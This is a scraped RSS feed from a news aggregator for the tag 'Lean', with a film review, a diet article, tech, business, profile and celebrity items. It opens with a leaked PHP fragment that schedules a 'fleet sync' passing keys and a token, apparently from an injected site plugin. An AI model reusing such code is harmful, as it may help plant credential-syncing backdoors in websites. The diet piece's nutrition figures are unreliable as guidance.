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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘Lean – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 06 Aug 2018 09:29:07 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘Lean – Brief News https://briefnews.eu 32 32 ‘Pledge’ Review: A Lean, Mean Fraternity Murder Convenes in Daniel Robbins’ Thriller [Fantasia Film Festival] https://briefnews.eu/pledge-review-a-lean-mean-fraternity-murder-convenes-in-daniel-robbins-thriller-fantasia-film-festival/ https://briefnews.eu/pledge-review-a-lean-mean-fraternity-murder-convenes-in-daniel-robbins-thriller-fantasia-film-festival/#respond Mon, 06 Aug 2018 09:29:07 +0000 http://briefnews.eu/pledge-review-a-lean-mean-fraternity-murder-convenes-in-daniel-robbins-thriller-fantasia-film-festival/ Pledge Movie Review

As a college attendee who never participated in Greek life myself, fraternal thrillers are always something of an outside-looking-in affair. My behind-closed-doors knowledge comes only from friends who recall their “elephant walks” or 24-hour drinking binges, always uttered with an air of unbelievableness. That’s what makes this subgenre so difficult. Can a movie sell sorority babes and fraternity bros getting away with literal murder? Yes, because Daniel Robbins’ film Pledge does. A cleanly shot, aggressively-spanked story of hazing torture outside collegiate regulation that makes you beg for each and every round of punishment.

As eager freshman explore prospective Greek households during rush week, three “nerdy” newbies struggle to find their place amidst tank-top dudes and twerking day-drinkers. David (Zack Weiner), Justin (Zachery Bird) and Ethan (Phillip Andre Botello) face a choice – drink beers and play XBOX alone for the next four years or get accepted into one of many brotherhoods. Sounds simple, but these guys aren’t exactly smoother operators. After being asked to leave Beta’s premises – for being “too weird” – an astoundingly attractive coed invites the trio off-campus to a special fraternity. Despite numerous red flags (chain-locked gate, lengthy dirt road, no neighboring houses), the boys find themselves pledging a mysterious social club where winners are made – if they can survive 48 hours of hell.

Enter Maxwell Peterson III (Aaron Dalla Villa), the “social club” chair who welcomes each pledge. He’s suited up for a country club ceremony, fluent in university partying and absolutely up to no good (American Psycho Jr., if you will). Night one is an all-out rager “packed” with only five pledges and beautiful, high-class ladies who cater to their guests’ every need. Night two begins with branding, moves to a most nauseating dinner and night three ends with chaotic bloodshed. This is all after an introductory flashback scene that predates proceedings by four years, where a runaway pledge is clocked with a baseball bat and dragged through cornfield stalks.

Robbins doesn’t need to play coy with Pledge. We all know the film’s three “lovable” losers will be tortured far worse than neverending beer bongs and sleep deprivation. Early hazes are stereotypical razzing and putting dorks into far-away corners, but tension peaks the minute Max introduces himself. Why is such a dapper, upstanding gentleman inviting the outcasts of campus into a “club” where mere children become titans of industry? Nevertheless built on ancient Roman beliefs of “real men” not submitting to breaking points because, in order to succeed, one must *never* break.

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Thus incites a tragic and terrible tale of toxic masculinity, where the pledgees may not be who we expect. Max’s cohorts – Ricky (Cameron Cowperthwaite) and Bret (Jesse Pimentel) – seem to be enjoying the sadism a bit too much. David and company are often degraded past rational human barriers, but no social club member seems to view their victims as people. That explains the steel bars over windows, roadkill slurry and ceremonial daggers, all while prototypical frat bros salivate and froth while spewing verbile bile towards each captor. Physically aching to witness pain, screaming in the name of bloody murder.

As you can expect, David’s fix-your-computer look makes him an easy target, along with Justin’s husky build and Ethan’s skittishness. Chosen because of weakness, forced to fight back against their alpha captors. Further tension mounts when Max’s clan unsheathes their true intentions, as they funnel rats into a Fight Club reminiscent basement where ungodly acts are committed. Random poor souls find themselves caught in the mix (women forced into skimpy stripper nurse outfits, two additional pledge candidates), but this is our leading dweebs’ crucible to conquer. Always overmatched, but like a rodent trapped under life-threatening circumstances, they’re forced to claw their way out. If, of course, they muster the gumption.

Actor Zach Weiner doubles as the film’s scribe, who very sharply whittles terror down to a streamlined spear design. Little time is wasted. Once “Hell Weekend” commences, danger swirls like a cyclone of elitist madness. As the nights press on, Grecian statue artwork depicting feats of strength call back to times when gladiators proved their might by showing nothing but physical dominance. Robbins and Weiner work together in modeling their age-old conspiracy beyond “Lizard Illuminati” believers, warping frat mentalities into a sick showing of “skills” to honor old ranks. Barbaric practices committed in modern-day light, wholly worth the massive liberties still taken by on-campus murder club participants.

“Masculinity” as a weapon, downfall and twisted take on horror. What relevance.

Pledge stakes its genre claim on fruitless anger, merciless abuse and satirical wit concerning what we’re willing to do for popularity. Daniel Robbins does plenty with what some will consider a bare-bones take, evoking fear from a disgusting, morally problematic core. We’ve all heard the fraternity warnings and seen what happens when senior drill sergeants take things a step too far. This is twelve steps past that mark, where surviving students would need therapy. Sometimes a bit generic when it comes to verbal berating, maybe not the most believable survival story at times, but for my money, a lean-mean junior feature from Mr. Robbins that easily makes the grade.

/Film Rating: 7 out of 10

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]]> https://briefnews.eu/pledge-review-a-lean-mean-fraternity-murder-convenes-in-daniel-robbins-thriller-fantasia-film-festival/feed/ 0 Muscle Building Diet: How to Eat to Lose Fat and Build Lean Muscle https://briefnews.eu/muscle-building-diet-how-to-eat-to-lose-fat-and-build-lean-muscle/ https://briefnews.eu/muscle-building-diet-how-to-eat-to-lose-fat-and-build-lean-muscle/#respond Sat, 09 Jun 2018 07:28:58 +0000 http://briefnews.eu/muscle-building-diet-how-to-eat-to-lose-fat-and-build-lean-muscle/ When I graduated college, the freshman 15 that happens to so many graduates skipped me. I could still fit into my high school clothes and I was proud I didn’t put on extra weight.

But there was one problem about my body that I was unhappy with, I looked dreadfully skinny in my pictures. My sister said my body looked really gangly, a very unflattering term I hated since I already thought my arms was excessively long and skinny like a monkey.

I longed to fill out my jeans and have more definition in the arms so I started lifting weights but didn’t pay attention to my diet or to what I ate because I ate healthy. I had three well balanced meals a day based on my Asian culture: a bowl of rice, little bit of protein and lots of vegetables.

After a few years of lifting, I compared my side by side pictures of before and after and I was shocked. I looked almost exactly the same as if I never lifted weights! It was a sad wake up moment that triggered me to hire a strength coach to help me out. He completely revamped my diet and helped me put on pounds of muscles in a short period of time.

In this article I will share with you what I learned about the muscle building diet to build lean muscle while shedding fat.

A muscle building diet and workout

What do you think is more important to building a body you want, your diet or your workouts?

Many say it’s 80% diet and 20% working out. As an experienced personal trainer, I say it’s 100% each. To get the results you want, your diet must align with your workouts.

You cannot expect to get great results if you train hard in the gym but eat like crap. A bad diet will translate into a sub-par workout which will not give you the energy and intensity you need to get results. By eating a healthy diet, you can train hard in the gym and recover properly to build muscles.

Likewise, you can eat 100% clean and healthy but if you’re not training in the gym multiple times a week with enough intensity, then you won’t be stressing your muscles enough to get them to grow.

So diet and training are equally important for optimal muscle growth and fat loss.

Your calorie intake

The holy grail of body transformation is to be able to lose fat and build muscle at the same time. We are inspired by those amazing transformations we see on the internet and we think everyone achieved their results by transforming a fat cell into a muscle cell.

Successful body transformations start with understanding a little bit about how your body works.

For fat loss to occur, you must burn more calories than you eat. When your fat cells start shrinking, your body will metabolize the excess fat leaving you reduced body fat.

Building muscle happens when you eat excess calories. The extra calories will help to increase the size of your muscle fibers so that you gradually get stronger and increase your overall metabolism.

You may be asking how are you supposed to lose fat and build lean muscles at the same time? The honest truth is you cannot. They are opposing metabolic processes.

If you want to lose fat and build lean muscles, pick out which one start out with. My recommendation is that if you’re a woman with more than 30% body fat or a man with more than 20% body fat, your first goal should be lose fat.

Having a layer of fat will often times mask the muscle gains you reap from the gym. It’ll look like as if you’re just getting bigger and softer rather than leaner and more defined as you add muscle to your frame.

In addition, as you eat in caloric surplus to build muscle, you will inevitably also put on some fat. It’s just the nature of building muscles unless you are extremely meticulous about your calories.

To lose fat, calculate how many calories your body is burning and cut out between 10-15% of the calories so you start the fat loss process.

To build muscles, add an additional 10-15% of the calories of your current caloric burn to your diet. Monitor your weight and body fat to ensure you’re not packing on too much fat during this period.

Protein – your muscle building macronutrient

This missing macronutrient in my diet was the reason for my lack of results.

At the time, I didn’t understand the importance of protein till my strength coach had me eating 175 grams of protein every day in the last phase of my transformation. It was a huge struggle eating that much protein primarily because I ate so little of it in my meals. I had to really focus on planning my meals to meet those requirements every day.

In the long run, increasing my protein consumption paid off because I dropped from 30% body fat to 22% in a matter of months without starving or being hungry.

Adding more protein in your diet can benefit you in multiple ways as listed below:

  • Increase satiety. A big reason why people fall off the diet wagon and quit their diets is because they’re hungry ALL THE TIME. With food restrictions and calorie restrictions, the mentality of feeling deprived every day leads to an increase in hunger. Adding a substantial amount of protein to every meal will leave you feeling satisfied and keep hunger at bay.
  • Boost your metabolism. Yes, you read that right! Out of all three macronutrients — protein, fat and carbs, protein has the highest thermogenic effect. Everything you eat takes energy to digest, store and absorb the nutrients, and discard whatever is left. The digestion of protein takes the most energy out of all three, so about 30% of the protein you eat gets burned off in the digestion process. How awesome is that?
  • Build and retain muscle mass. Muscle itself is metabolically expensive to maintain. It costs a lot of energy and calories not just to build muscle but also to maintain it because it’s active tissue. Protein is a macronutrient that your body cannot store. This is why it is vital that you eat protein around the clock to support muscle growth and repair. Without protein, your body will be unable to build new muscles that you are breaking down in the gym.

How much protein should you eat?

The recommended dietary requirements (RDA) for protein is at a modest 0.8 g/kg of bodyweight per day. This means if you weigh 130lbs, it would translate to eating a minimum of 47g of protein or about a 2 small chicken breasts a day.

This RDA requirement is the bare minimum of protein consumption and is based on the average sedentary individual. If you don’t exercise and sit for 8+ hours a day, then the RDA recommendation is perfect for you and there’s no reason why you need to eat more protein.

I have found from training clients that a higher protein intake translates to faster fat loss and a higher metabolism versus a lower protein intake even if you don’t strength train. Just by adding more protein to your diet causes you to eat less which results in weight loss.

For building muscle and fat loss, I would recommend about 40% of your total calories come from protein or about 1 gram of protein per bodyweight in pounds.

If you are new to eating that much protein, start by adding about 25 to 30 grams of protein per meal and work yourself up to including protein snacks or even proteins shakes to meet your daily requirements outside of your meals.

What are good sources of protein?

You can start making a dent in your protein intake by eating a big breakfast. Most people eat lots of carbs for breakfast like oatmeal, a bagel, a smoothie or a muffin of some sort and find themselves hungry well before lunch.

Instead, swap out your breakfast with high protein choices like whole eggs, Greek yogurt, smoked salmon or throw in a scoop of protein powder in your smoothie or oatmeal.

Animal protein sources are complete protein sources and will be the best quality protein for your diet because they contain high sources of lysine which is the essential amino acid to build muscles. Make sure to get your protein from different sources so you’re getting different micronutrients and minerals.

For someone who is vegan or lean towards the more vegetarian diet, there are still plenty of options but it will be more challenging because most plants are not complete sources of protein. Soy and its products like tofu, tempeh and edamame are examples of a complete plant protein. Other examples of vegetarian sources of protein are quinoa, beans and nuts. Again, you want to vary your sources of protein so you get different vitamins and minerals from your food.

To supplement or not to supplement?

The most popular question that comes up when people think of building muscles is what type of protein supplement to buy.

My recommendation is to try your best to get protein from food sources first because they are a natural source of amino acids, minerals and micronutrients. Eating the protein versus drinking the protein will help to keep you full longer because your body needs to break down the food versus a protein shake just passes through.

But there are times where you’re on the go and you simply do not have time to sit down and eat. In that case, a protein shake would be a good option.

Do your research on a protein supplement before you buy so you get the best one for your needs. Below are recommendations of what you should look for in a healthy and clean protein powder:

1. It is 3rd party inspected.

The first thing you should research is to check if the protein supplement you are considering has been inspected by an independent third party company. This will tell you if the protein per serving on the nutrition label is accurate.

At the same time the inspection will also check for contaminants and heavy metals that could be present and harmful to your health.

2. Amount of protein (g) per serving is close serving size (g).

You also want to make sure that you’re paying for a protein supplement and not a meal replacement that is full of carbs and minimal protein. You can check by looking at the nutrition label.

Often times the grams in a serving size are much bigger than the grams of protein in the serving size. This happens when there is excess filler in the form of coloring, flavors and sugar additives.

For example, one serving may be 30 grams but in it only has 23 grams of protein with the other 7 grams of miscellaneous filler. This means with each scoop of protein powder, 25% of your money is going towards paying for filler ingredients.

It’s also important that you want to make sure a serving size actually has a gram amount listed, otherwise you will have no idea how much protein you’re drinking in each serving which is deceptive marketing.

3. Very minimal to no fillers.

Extracting pure quality protein is an expensive process. To reduce costs, companies will add fillers such as natural and artificial flavors, artificial sweeteners and other components to make the powder mix nicely with whatever you blend it with.

If you’re consuming a protein shake or two everyday, it also means you’re drinking these artificial fillers which are unhealthy for you and do nothing to benefit your muscles. Do your best to look for a high quality protein and use your dollars to pay for protein versus fillers and flavoring.

Summing it up

Body transformation journeys are exciting life changing moments to really showcase your health and body potential. They are wonderful challenging moments that bring out the best in you.

Pairing the right workout with a healthy diet and macronutrient ratios will help you get results in a shorter time.

By following the recommendations in this article, you will be well on your way to building muscles and losing fat.

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]]> https://briefnews.eu/muscle-building-diet-how-to-eat-to-lose-fat-and-build-lean-muscle/feed/ 0 Oculus Go hands-on: going lean https://briefnews.eu/oculus-go-hands-on-going-lean/ https://briefnews.eu/oculus-go-hands-on-going-lean/#respond Sun, 25 Mar 2018 11:39:09 +0000 http://briefnews.eu/oculus-go-hands-on-going-lean/

One of the very first things I did in Oculus Go was lean. I was playing Settlers of Catan at the Game Developers Conference in San Francisco, and where the Experiment 7 studio demonstrating cross-play from Rift to Oculus Go. There was a person sitting to my right in VR, and I instinctively leaned to get a better look at the far side of their viking…Read More

]]> https://briefnews.eu/oculus-go-hands-on-going-lean/feed/ 0 Spotify and Deezer urge EU to lean on Apple https://briefnews.eu/spotify-and-deezer-urge-eu-to-lean-on-apple/ https://briefnews.eu/spotify-and-deezer-urge-eu-to-lean-on-apple/#respond Thu, 14 Dec 2017 10:17:32 +0000 http://briefnews.eu/spotify-and-deezer-urge-eu-to-lean-on-apple/

Streaming is single-handedly boosting music sales and Spotify doesn’t want any one behemoth (see Apple) gaining a stranglehold over the booming market. It got its wish when the EU promised “legislative instruments” to help out the little guy, specifically smaller firms that fear bigger corporations could stifle them by imposing strict rules on their apps. Seven months later, there’s no new laws in sight, so Spotify (along with its original ally Deezer) is knocking on the EU’s door once more, reports the Financial Times.

In a letter to the president of the European Commission Jean-Claude Juncker, Spotify co-founder Daniel Ek and Deezer chief executive Hans-Holger Albrecht urge the ratification of methods to ensure a “level playing field” by curtailing firms that are “regularly abusing their advantaged position.”

Spotify and Deezer are reportedly unhappy that Apple takes a 30 percent cut from the subscription fee when a user signs up for their respective services via the App Store. And, it seems Apple’s decision to change that to a 15 percent slice after the first year wasn’t good enough. Spotify is also clearly still upset over Apple’s decision to hold back one of its app updates last year, for which it accused the tech titan of trying to squash competition.

This time round, the companies have a new partner in the form of UK shopping comparison site Foundem, which is likely more concerned about Amazon, along with a bunch of European game developers and digital publishers. They all agree that the new regulations should “go beyond mere transparency requirements, which alone will not ensure platforms act as gateways rather than become gatekeepers to the digital economy.”

In June, the EU imposed a record $ 2.7 billion fine on Google for unfairly directing users to its own products over those of its rivals. Although the penalty caused no real dent in the big G’s profits, the two music services are evidently hoping that regulators will follow up with legislative measures that make for a fairer playing field.

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]]> https://briefnews.eu/spotify-and-deezer-urge-eu-to-lean-on-apple/feed/ 0 Watch the First Trailer for Andrew Haigh’s ‘Lean on Pete’ https://briefnews.eu/watch-the-first-trailer-for-andrew-haighs-lean-on-pete/ https://briefnews.eu/watch-the-first-trailer-for-andrew-haighs-lean-on-pete/#respond Thu, 07 Dec 2017 16:19:32 +0000 http://briefnews.eu/watch-the-first-trailer-for-andrew-haighs-lean-on-pete/ Andrew Haigh’s Lean on Pete was one of the nicest surprises of last fall’s Toronto International Film Festival – not because it was great (Haigh’s films, which include Weekend and 45 Years, always are), but because it saw the decidedly urban-oriented filmmaker going rural, with equally moving results. Back at TIFF, yours truly called it “a good old-fashioned boy-and-his-horse story, with Charley and Pete taking off unexpectedly on a road trip of cash-strapped desperation,” told in a series of vignettes, “each with the inner life and rich characters of a McMurtry short story, each with their own pleasures and curveballs.”

It’s very good, is the point, so we’re happy to hear it’s hitting theaters in March – and that A24 has released the picture’s first trailer. Check it out:

Charlie Plummer stars as Charley, the “boy” part of the “boy and his horse” equation; the robust supporting cast includes Steve Buscemi, Chloë Sevigny, and Steve Zahn. Lean on Pete is out March 30.

                            

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]]> https://briefnews.eu/watch-the-first-trailer-for-andrew-haighs-lean-on-pete/feed/ 0 The Gender Expert Helping Women to Lean In https://briefnews.eu/the-gender-expert-helping-women-to-lean-in/ https://briefnews.eu/the-gender-expert-helping-women-to-lean-in/#respond Thu, 28 Sep 2017 05:15:54 +0000 http://briefnews.eu/the-gender-expert-helping-women-to-lean-in/ Lori Nishiura Mackenzie distinctly remembers the day she realized her Americanness had a hyphen. She was 7, and her was family living in California. One afternoon, as she was walking down the street with her mother, a few men leaned out of a car, shouting in fake Chinese accents and slanting their eyes with their hands. “My mother, who never let me say a bad word about anybody, gave them the bird,” Nishiura Mackenzie recalls. “I realized then that the way I looked was different and that it meant something to some people.” That singular incident not only made her aware of her Japanese-Americanness, but it also laid the foundation for what she wanted out of a career. “I think that has shaped my desire to make this a fair world for everybody, a more equal world with equal opportunities,” she says, whether that concerns race, gender or class.

Nishiura Mackenzie is the executive director of the Clayman Institute for Gender Research at Stanford University, founded in 1974 and dedicated to advancing public dialogue on a variety of critical gender-related issues. Nishiura Mackenzie came on board in 2008. Under her directorship, the institute has launched the Center for the Advancement of Women’s Leadership, which is committed, in her words, to “moving beyond the ivory tower to bridge the gap between research and practice.” What does that translate to? “We work inside companies … to understand how we can pilot and evaluate solutions that block bias in every people process,” Nishiura Mackenzie explains, “from recruiting to performance management to promotion.”

Organizations can hire women, but if the environment doesn’t change, retention will be problematic.

Froswa’ Booker-Drew, founder of Soulstice Consultancy

The 51-year-old was born in California to Japanese-American parents who lived the dark side of history up close: Both were held in internment camps during World War II. Her mother was born there, and her father was 1 when he was relocated to the camp. Nishiura Mackenzie’s parents eventually met as students at San Jose State University. The family didn’t talk about the internment much, choosing to focus on raising Nishiura Mackenzie and her older brother with progressive values. “I think I’m the only person out of all my 14 cousins who has a business degree,” Nishiura Mackenzie says. “My parents really spoke to me like a human being with choices, and I think that shaped who I am.”

Nishiura Mackenzie studied marketing and entrepreneurial management at the Wharton School and worked in a variety of companies and nonprofits until motherhood put a temporary hold on her career. “When my son was born, he had some health concerns, and I didn’t know how to make it all work, so I stayed home for five years,” Nishiura Mackenzie recalls. Going back to an office was not easy. She remembers crying during an interview at eBay after being asked about her readiness to return. Realizing she didn’t leave the right impression, she requested another interview — and landed the maternity backfill job. When the company offered her a permanent position, she declined. “I wasn’t sure I wanted a for-profit job, so I consulted and worked for a couple of years while trying to decide how I was going to make all of this work — my passion for gender equality, my desire to have time with my kid and my love of business,” she says. A few years later, when the Clayman position became available, she knew it was the right opportunity at the right time.

Nishiura Mackenzie brings her personal experiences to the table when she advocates for women’s issues in the workplace. Angela Szymusiak, a senior talent development partner at Adobe, invited Nishiura Mackenzie to implement the Voice and Influence program at her company. Incubated at the Clayman Institute, the module has been adopted by Sheryl Sandberg’s Lean In organization to foster dialogue about gender equality and push for progress at the workplace. The results were unilaterally impressive, Szymusiak reports, with 87 percent of participants either agreeing or strongly agreeing that they will “apply the learnings from the program.” The gains were made even more meaningful by Nishiura Mackenzie’s authenticity. “Her willingness to be transparent and genuine really allowed people [at Adobe] to be willing to listen and learn,” Szymusiak says.

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Such dialogue is a necessary first step in helping women advance in the workplace, says Froswa’ Booker-Drew, founder of Soulstice Consultancy, a Dallas-based leadership consultancy. But if dialogue is a great beginning, it shouldn’t be the end-all. “Companies must commit to acknowledging the inequity and create actionable plans with time lines for implementation that are specific and measurable,” Booker-Drew says. They should examine policies, but also the culture of the organization and how it embraces or is not conducive to women in leadership, she continues: “Organizations can hire women, but if the environment doesn’t change, retention will be problematic.”

Referring to her “small wins” approach to change, Nishiura Mackenzie looks to managers to play a definitive role: “In order to make organizational values a reality, managers need to enact inclusive behaviors in everyday interactions. Thus, to shift the culture, these small wins are essential for creating inclusive workplaces.”

Nishiura Mackenzie, a board member for the Alliance for Girls, trumpets the importance of starting early when addressing the issue of gender inequality. “The ideas about ongoing gender inequality are not taught universally in elementary schools, so we have to learn this on our own as adults, often in workplaces when something doesn’t go well,” she says. “We live in a gendered world that shapes our expectations of each other and ourselves.” Case in point: Nishiura Mackenzie’s son loved to knit when he was little. “I would take him to the fabric store, and they would look at him and say, ‘Well, you’re also teaching him to play baseball, aren’t you?’ This is about boys and girls having an opportunity to be themselves no matter what they like to do.”

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]]> https://briefnews.eu/the-gender-expert-helping-women-to-lean-in/feed/ 0 Brigitte Macron accentuates her lean body with classic LBD at Paris state dinner https://briefnews.eu/brigitte-macron-accentuates-her-lean-body-with-classic-lbd-at-paris-state-dinner/ https://briefnews.eu/brigitte-macron-accentuates-her-lean-body-with-classic-lbd-at-paris-state-dinner/#respond Mon, 25 Sep 2017 21:11:45 +0000 http://briefnews.eu/brigitte-macron-accentuates-her-lean-body-with-classic-lbd-at-paris-state-dinner/

Brigitte wore the glamorous black dress that showcased her lithe body, with just a slight nipping in at the waist.

The knee length skirt, as well as the accentuated shoulder pads and neck choker aspect, were a departure from her usual mini dresses.

She was spotted with her husband, French President Emmanuel Macron along with Lebanon’s President General Michel Aoun and his wife Nadia AL Chami whilst at the Elysee Presidential Palace in Paris.

She finished off the look with her hair tied back in a formal do, minimal make-up and a gold clutch.

Brigitte was spotted earlier today with the family whilst greeting them to France during the Lebanese family’s three-day state visit.

She greeted Lebanese President Michel Aoun’s wife Nadia Aoun, and daughters Claudine and Chantal outside the Elysee Palace.

All four women styled chic suits on at the foot of the steps of the palace during the meeting.

As well as the French President, President General Michel Aoun will meet with the speakers of both houses of parliament and the mayor of Paris. 

The 64-year-old styled a much more glamorous look in a black and white suit, with zipped trousers and black pumps.

Her hair was loose to give the look a much more girly look as well as offset the high neck of the blouse.

The frilled-neck was just a hint of femininity, along with the classic black handbag and subtle make-up.

It’s certainly different from her recent look which showed off her body.

Brigitte’s busy week meant she was also spotted in New York whilst joining her husband during his speech.

The president’s wife sported a raunchy dress featuring a black lace detail which showed off her underwear.

Underneath the cheeky strip of black lace was a printed lace pattern which circled Brigitte’s bust.

The rest of the dress was quite conservative, coming down to Brigitte’s knee and with short sleeves.

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]]> https://briefnews.eu/brigitte-macron-accentuates-her-lean-body-with-classic-lbd-at-paris-state-dinner/feed/ 0 Lean back and watch the eclipse…from your Volvo https://briefnews.eu/lean-back-and-watch-the-eclipse-from-your-volvo/ https://briefnews.eu/lean-back-and-watch-the-eclipse-from-your-volvo/#respond Thu, 17 Aug 2017 22:49:35 +0000 http://briefnews.eu/lean-back-and-watch-the-eclipse-from-your-volvo/

On Monday, lots of people are going to head outside and check out the first total solar eclipse to be viewable in the contiguous US since 1979 and the first coast-to-coast one in nearly a century. But Volvo is giving its drivers another option. For those that want to experience the event alone and maybe with a little air conditioning, the car manufacturer is providing moonroof eclipse viewers for its 2018 XC60 cars.

The viewer is magnetized for easy attachment to the auto’s moonroof and is ISO-certified, so it should actually protect your eyes. Only limited quantities will be available though, which will be shipped to Volvo dealerships along the eclipse’s path of totality in Oregon, Idaho, Nebraska, Missouri and South Carolina.

XC60 Eclipse Viewer

Personally, I’m excited to experience this eclipse with other people and will be sitting outside with my goofy eclipse glasses for the whole thing. However, while this moonroof viewer seems a little silly, the demand for eclipse glasses is so high right now and so many outlets are sold out of them, I’m wondering if it might actually be easier to just get a Volvo.

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]]> https://briefnews.eu/lean-back-and-watch-the-eclipse-from-your-volvo/feed/ 0 Lean Into the Alexa-Powered Future With $20 Off Three Amazon Echo Dots https://briefnews.eu/lean-into-the-alexa-powered-future-with-20-off-three-amazon-echo-dots/ https://briefnews.eu/lean-into-the-alexa-powered-future-with-20-off-three-amazon-echo-dots/#respond Sun, 16 Apr 2017 09:26:00 +0000 http://briefnews.eu/lean-into-the-alexa-powered-future-with-20-off-three-amazon-echo-dots/
Three Amazon Echo Dots, $ 130 with code DOT3PACK

Amazon’s Alexa is basically the operating system of the home, but to fully appreciate it, you need to scatter Echoes and Echo Dots around your house until they can basically hear your from anywhere. If you’re ready to fully commit, Amazon’s offering a solid discount on the already-affordable Echo Dot when you buy three.

This was initially supposed to be a one-week promotion, but it seems Amazon’s extended the deal at least through April 25.

To get the deal, just add three Dots to your cart, and use promo code DOT3PACK at checkout. The $ 130 you’ll spend is, somewhat incredibly, $ 50 less than a single full-sized Amazon Echo. The Dots’ speakers obviously aren’t as good, but you can plug them in or pair them over Bluetooth to any other speaker you have lying around, which makes them perfect little omnipotent, voice-activated Music streamers.

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]]> https://briefnews.eu/lean-into-the-alexa-powered-future-with-20-off-three-amazon-echo-dots/feed/ 0 Vin Diesel hilariously sings the classic ‘Lean on Me’ for Jimmy Fallon https://briefnews.eu/vin-diesel-hilariously-sings-the-classic-lean-on-me-for-jimmy-fallon/ https://briefnews.eu/vin-diesel-hilariously-sings-the-classic-lean-on-me-for-jimmy-fallon/#respond Tue, 04 Apr 2017 13:50:24 +0000 http://briefnews.eu/vin-diesel-hilariously-sings-the-classic-lean-on-me-for-jimmy-fallon/ Vin Diesel Jimmy Fallon NBC finalNBC

If you follow Vin Diesel on social media, you know that he’s a fan of doing karaoke. He’s sung everything from Rihanna’s “Stay” to an “Oliver Twist” song to “audition” for James Corden’s “Carpool Karaoke.”

“The Tonight Show” host Jimmy Fallon brought up Diesel’s singing talents on the show Monday night.

“Where is this going?” Diesel asked.

And before the action star knew it, Fallon brought a microphone from under his desk.

“But the little twist, I thought it’d be kinda fun if, since it’s ‘The Tonight Show,’ we wanna do something different. This microphone has a chipmunk filter,” Fallon said.

Diesel took the mic and sang a moving rendition of Bill Withers’ classic “Lean on Me,” in a high-pitched chipmunk voice.

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